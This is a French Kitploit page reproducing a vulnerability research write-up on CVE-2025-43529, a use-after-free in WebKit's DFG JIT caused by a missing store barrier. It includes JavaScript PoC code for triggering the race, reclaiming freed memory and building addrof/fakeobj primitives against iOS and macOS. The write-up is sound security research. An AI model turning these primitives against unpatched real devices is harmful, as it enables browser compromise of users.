Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-43529 — Exploit technique pour CVE-2025-43529, une vulnérabilité du compilateur JIT DFG de WebKit permettant une utilisation après libération via une barrière de stockage manquante dans le GC concurrent, avec des primitives d'exploitation complètes pour iOS et macOS. | Kitploit
Outils/GitHubGitHub/jir4vv1t/cve-2025-43529
Criminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieSécurité WebExploitation de Binaires
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

Exploit technique pour CVE-2025-43529, une vulnérabilité du compilateur JIT DFG de WebKit permettant une utilisation après libération via une barrière de stockage manquante dans le GC concurrent, avec des primitives d'exploitation complètes pour iOS et macOS.

Voir le dépôt
85115il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-43529

TL; DR

Apple a récemment publié iOS 26.2 et iPadOS 26.2, accompagnés d’un avis de sécurité qui inclut des correctifs pour des vulnérabilités WebKit. Un bug dans le compilateur JIT DFG (CVE-2025-43529) s’est démarqué, j’ai donc décidé de creuser.

Le compilateur JIT a correctement reconnu qu’un nœud Phi (là où plusieurs chemins de flux de contrôle fusionnent) s’était échappé, mais il n’a pas remarqué que les nœuds Upsilon du Phi s’étaient également échappés. À cause de cela, la phase StoreBarrierInsertionPhase de la compilation DFG a sauté l’insertion d’une barrière de stockage (Store Barrier), qui est un mécanisme clé de sécurité mémoire. En conséquence, le ramasse-miettes concurrent peut manquer des objets qu’il aurait dû analyser, ce qui peut entraîner une utilisation après libération.

Vous trouverez le commit de correction ici.

J’ai confirmé que mon exploit fonctionne sur iOS 26.1, iPadOS 26.1 et macOS Tahoe 26.0.1.

Contexte

GC générationnel

JSC utilise un modèle de GC générationnel pour gérer efficacement le tas. Dans ce modèle, la mémoire est divisée en Eden (nouvel espace) et vieil espace selon l’âge des objets. Tous les objets nouvellement alloués commencent dans Eden. Quand Eden est plein, un GC Eden est déclenché et les objets survivants sont promus dans le vieil espace. Le nettoyage des objets du vieil espace nécessite un GC complet.

Pour que le GC générationnel fonctionne, le GC doit classer les objets comme « déjà analysés », « à analyser » ou « à ré-analyser ». Dans JSC, cela est suivi via l’attribut cellState d’un objet. (Tous les objets gérés par le GC héritent de JSCell.)

root@kitploit:~
StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState fait 1 octet et peut être l’une des trois couleurs : Black (0), White (1) et Grey (2).

White signifie un objet qui vient d’être alloué dans eden. Dans le cycle GC actuel, il n’a pas encore été marqué. S’il reste dans cet état jusqu’à la fin du cycle GC, l’objet sera collecté.

Black signifie que le GC a déjà fini de marquer l’objet ou est en train de le marquer. Il est fondamentalement traité comme vivant, bien que le bit isMarked puisse encore être désactivé.

Grey signifie un objet qui doit encore être analysé. Plus précisément, il était initialement Black, mais il a été pris par la barrière d’écriture et ajouté à l’ensemble des objets mémorisés. En d’autres termes, ses références ont changé, donc le GC doit l’analyser à nouveau.

GC concurrent

JSC dispose également d’un GC concurrent, qui permet à l’application de s’exécuter pendant que la mémoire est récupérée. Si le GC marque un objet en arrière-plan et que l’application modifie l’état de cet objet au même moment, vous pouvez vous retrouver avec une condition de concurrence.

Pour éviter cela, vous avez besoin de garanties d’ordre. Comme « écriture (store) A, puis lecture (load) B » se produisant dans cet ordre exact. Mais sur ARM64, pour des raisons de performance, le CPU peut réordonner les opérations mémoire. Cela signifie que le GC pourrait lire la mauvaise valeur.

JSC utilise donc une classe de dépendance pour se reposer sur les dépendances de données du CPU, ou utilise des instructions ARM64 spéciales comme STLR et LDAR pour imposer l’ordre. STLR garantit que les lectures/écritures antérieures deviennent visibles avant le store (un store release). LDAR garantit que les lectures/écritures ultérieures ne peuvent pas se déplacer avant la charge (un load acquire). Quand un autre thread lit un objet, LDAR est associé à STLR pour pouvoir observer en toute sécurité les données les plus récentes.

DMB n’est pas une instruction spéciale unique pour un accès. C’est une barrière qui force l’ordre pour tous les accès mémoire autour d’elle. Elle garantit que les opérations mémoire avant le DMB deviennent visibles avant les opérations après.

JSC JIT

JSC possède trois niveaux JIT au total. Pour équilibrer la vitesse d’exécution par rapport au coût de compilation (mémoire/temps), il applique des optimisations et déplace le code vers le niveau suivant en fonction de sa fréquence d’exécution.

  • Niveau 1 : Baseline JIT
  • Niveau 2 : DFG JIT
  • Niveau 3 : FTL JIT

Baseline JIT est le premier compilateur JIT. Il se concentre sur la production rapide de code natif avec un faible surcoût de compilation. DFG JIT est l’étape suivante après Baseline JIT, où les optimisations sérieuses commencent.

Au niveau DFG, les instructions JavaScript sont converties en un graphe composé de nœuds IR DFG. En utilisant les informations de type qu’il collecte, le compilateur effectue des spéculations pour supprimer les opérations inutiles. Dans le pipeline d’optimisation DFG de JSC, la phase StoreBarrierInsertionPhase insère un StoreBarrier après les nœuds qui écrivent en mémoire, comme PutByOffset. CVE-2025-43529 est une vulnérabilité causée par l’absence d’insertion d’un StoreBarrier alors qu’il aurait dû être inséré pendant StoreBarrierInsertionPhase.

Un StoreBarrier est un nœud qui agit comme une barrière d’écriture. Il est utilisé pour préserver la correction face aux compétitions avec le thread de marquage.

Déclencher le bug

Le scénario de nœud DFG vulnérable décrit dans le commit de correction ressemble à ceci :

root@kitploit:~
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

Dans BB#1, deux nouveaux objets sont créés, et l’exécution bifurque vers BB#2 ou BB#3. BB#2 tombe alors dans BB#3. La partie intéressante dans BB#3 est le nœud Phi. Cela signifie que f est soit c, soit e, et ce choix est déterminé par les nœuds Upsilon en amont. Dans BB#3, PutByOffset signifie ajouter une valeur à une propriété d’un objet.

PoC simplifié

root@kitploit:~
let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

Si vous utilisez l’option --dumpFTLDisassembly=true, vous pouvez inspecter l’assembleur après la compilation FTL.

root@kitploit:~
// Début BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier pour D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier pour D@36(b) est censé être ici
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

À cause du bug, la StoreBarrier pour b n’a pas été émise.

L’objet A vit dans le vieil espace. Dans le premier PutByOffset (A.p0 = f), l’ancien objet A finit par pointer vers le nouvel objet f. Cela signifie que le thread de marquage peut atteindre f via A à tout moment après ce store. Donc si vous modifiez ultérieurement les propriétés de f, une StoreBarrier doit être insérée.

f (le nœud Phi) est traité comme s’échappant, mais les entrées réelles qui peuvent entrer dans f (via Upsilon : b et d) ne sont pas marquées comme s’échappant. Logiquement, si f est stocké dans A, alors tout objet qui pourrait devenir f, y compris b, est effectivement stocké dans A aussi. Mais à cause du bug, le compilateur ne s’en rend pas compte, donc il considère toujours b comme une valeur « sûre » non échappante que le GC n’aura pas besoin d’analyser, et il finit par sauter la StoreBarrier.

Condition de concurrence

Pour déclencher l’utilisation après libération, vous devez réussir une compétition entre le thread principal et le thread de marquage. Le scénario est le suivant :

  1. Marquage concurrent (thread de marquage) : Le thread de marquage atteint b en parcourant l’objet du vieil espace A, et marque à la fois A et b comme noirs.

  2. Mise à jour de référence (thread principal) : Le thread principal exécute b.p0 = a. À ce stade, a est un objet Eden qui n’a pas encore été marqué, donc il est toujours White. Cela crée un objet Noir pointant vers un objet Blanc.

  3. Barrière de store manquante : Normalement, b devrait être ajouté à l’ensemble des objets mémorisés. Mais parce que la barrière de store a été sautée à cause du bug, le GC n’apprend jamais que b pointe maintenant vers a. Le cycle GC continue et si rien d’autre ne référence a, il reste White tout le temps et finit par être libéré.

  4. Fin du cycle GC : Après cela, la lecture de b.p0 peut toucher de la mémoire libérée, ce qui peut mener à une utilisation après libération.

Fenêtre de concurrence

La partie la plus difficile pour exploiter une condition de concurrence est d’atteindre la fenêtre de concurrence. Les objets A et b doivent être marqués dans le même cycle GC. Pour aligner le timing entre le thread principal et le thread de marquage, j’ai utilisé trois techniques.

root@kitploit:~
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = {
    p0: 0x41414141,
    p1: 1.1,
    p2: 2.2,
};
arr[arr_index] = A;

Premièrement, pour garantir la fenêtre de timing jusqu’à ce que l’analyse de A commence, vous devez faire en sorte que GC visite certains enfants ; j’ai rendu arr grand et placé A au dernier index. Une chose à surveiller ici est que A doit vivre dans le vieil espace.

root@kitploit:~
let forGC = [];

let a = new Date(1);
a[0] = 1.1;

for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

Deuxièmement, analyser A dans le vieil espace nécessite de déclencher un GC complet. Pour cela, vous devez allouer suffisamment de grands objets en quantité suffisante. Pour rendre le déclenchement du GC plutôt cohérent, j’ai conservé la référence des objets alloués, afin qu’ils ne soient pas optimisés comme « inutilisés » ; je les ai stockés dans A.p2.

root@kitploit:~
A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

Troisièmement, une fois qu’un GC complet est déclenché, si vous parvenez à retarder le marquage de A en utilisant un tableau suffisamment grand, le thread principal a encore besoin que le marquage de A se termine juste avant qu’il n’ajoute une référence à a dans b. Pour forcer ce timing, j’ai ajouté une grande boucle. Et pour que la boucle ne soit pas optimisée, j’ai stocké la valeur finale dans b.p0.

Exploitation

Récupérer le papillon

Après la fin d’un cycle GC, vous pouvez observer que lorsqu’un MarkedBlock contenant des objets libérés est réutilisé, les objets de ce bloc qui n’ont pas été marqués sont balayés. Dans JSC, le mécanisme de balayage rend tout ou partie d’un MarkedBlock disponible pour les allocations ultérieures. L’adresse de l’objet libéré ne devient réutilisable par l’allocateur qu’après cela.

root@kitploit:~
reclaimed = false;

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) { 
        reclaimed = true;
        break;
    }
}

if (!reclaimed) {
    print('failed');
}

Après la compétition, la boucle alloue répétitivement des tableaux de longueur 5 pour encourager la récupération du papillon balayé. Si le papillon est réalloué, vous pouvez le détecter en lisant les propriétés indicées d’un objet qui partage la même adresse de papillon.

En interne, la création de arr appelle JSC::constructArrayBuffer, ce qui déclenche MarkedBlock::Handle::specializedSweep. C’est là que la FreeList pour le bloc contenant le papillon est initialement construite.

root@kitploit:~
void MarkedBlock::Handle::specializedSweep(...)
{
    // ... 
    if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
        // ...
        if (sweepMode == SweepToFreeList) {
            if (scribbleMode == Scribble) [[unlikely]]
                scribble(payloadBegin, payloadEnd - payloadBegin);
            FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
            interval->makeLast(payloadEnd - payloadBegin, secret);
            freeList->initialize(interval, secret, payloadEnd - payloadBegin);
        }
        return;
    }
    // ...
}

Avec le PoC, si le balayage s’exécute sur le bloc qui contient le papillon après la compétition, emptyMode, marksMode et newlyAllocatedMode deviennent respectivement IsEmpty, MarksStale et DoesNotHaveNewlyAllocated, donc l’exécution entre dans le if ci-dessus.

Avec un balayage normal, vous devriez construire la free list par fragments, mais ici le bloc entier est vide, donc la free list est initialisée comme un grand intervalle couvrant tout le bloc. La structure freeList est très simple. Elle suit essentiellement le début et la fin du morceau ainsi que sa taille.

À ce stade, le freeList contient un bloc entier qui inclut le pointeur du papillon.

root@kitploit:~
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
    if (m_intervalStart < m_intervalEnd) [[likely]] {
        char* result = m_intervalStart;
        m_intervalStart += cellSize;
        return std::bit_cast<HeapCell*>(result);
    }
    // ...
}

Les allocations depuis un freeList sont gérées par FreeList::allocateWithCellSize. Si m_intervalStart et m_intervalEnd ne sont pas égaux, l’allocateur considère que l’intervalle a des cellules libres disponibles, renvoie le pointeur de début actuel comme adresse pour le nouvel objet, puis avance le pointeur de début de cellSize.

Cette fonction est appelée depuis JSC::constructArray, et elle est atteinte de façon répétée à l’intérieur de la boucle. Finalement, un tableau nouvellement alloué finit par utiliser l’adresse de papillon libérée pour son papillon.

Balayer les déchets

Il y a plusieurs raisons pour lesquelles un exploit peut échouer, mais une amélioration facile est de se débarrasser du pointeur de papillon laissé sur la pile.

Lors de l’allocation du papillon, le pointeur alloué est écrit sur la pile de façon répétée. Si ce pointeur est encore présent même après avoir appelé la fonction qui déclenche l’utilisation après libération, l’analyse conservative de la pile par le GC peut le détecter et le marquer, ce qui l’empêche d’être libéré et finit par le « protéger » comme normal.

Dans le PoC, cela a été traité en appelant une fonction qui crée un grand nombre de cadres de pile.

root@kitploit:~
function recursive(n) {
    if (n === 0) 
        return;
    n = n | 0;
    recursive(n - 1);  
}

recursive(10000);

En appelant la fonction récursive, le thread principal remplit son espace de pile avec des cadres de fonction, écrasant toutes les adresses de papillon restantes avec d’autres valeurs. Après cela, le pointeur de papillon a moins de chances d’être trouvé lors de l’analyse de la pile, ce qui augmente les chances que le GC ne scanne pas ce papillon.

Construire les primitives

root@kitploit:~
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

Avec l’utilisation après libération, vous pouvez avoir le même papillon dans l’objet libéré a ainsi que dans le tableau nouvellement alloué. En faisant ensuite en sorte que les deux objets utilisent des IndexingType différents, vous pouvez accéder aux valeurs dans ce même papillon à la fois en Double et en Contiguous. Cela mène directement aux primitives classiques addrof et fakeobj.

Prochaines étapes

Si vous êtes parvenu à construire les primitives addrof/fakeobj, vous pouvez facilement construire des primitives de lecture/écriture. Mais pour obtenir l’exécution de code, vous devez encore contourner l’authentification des pointeurs. Cette partie est laissée comme défi.

Références

  • Understanding Garbage Collection in JavaScriptCore From Scratch
  • About the security content of iOS 26.2 and iPadOS 26.2
Télécharger l’outil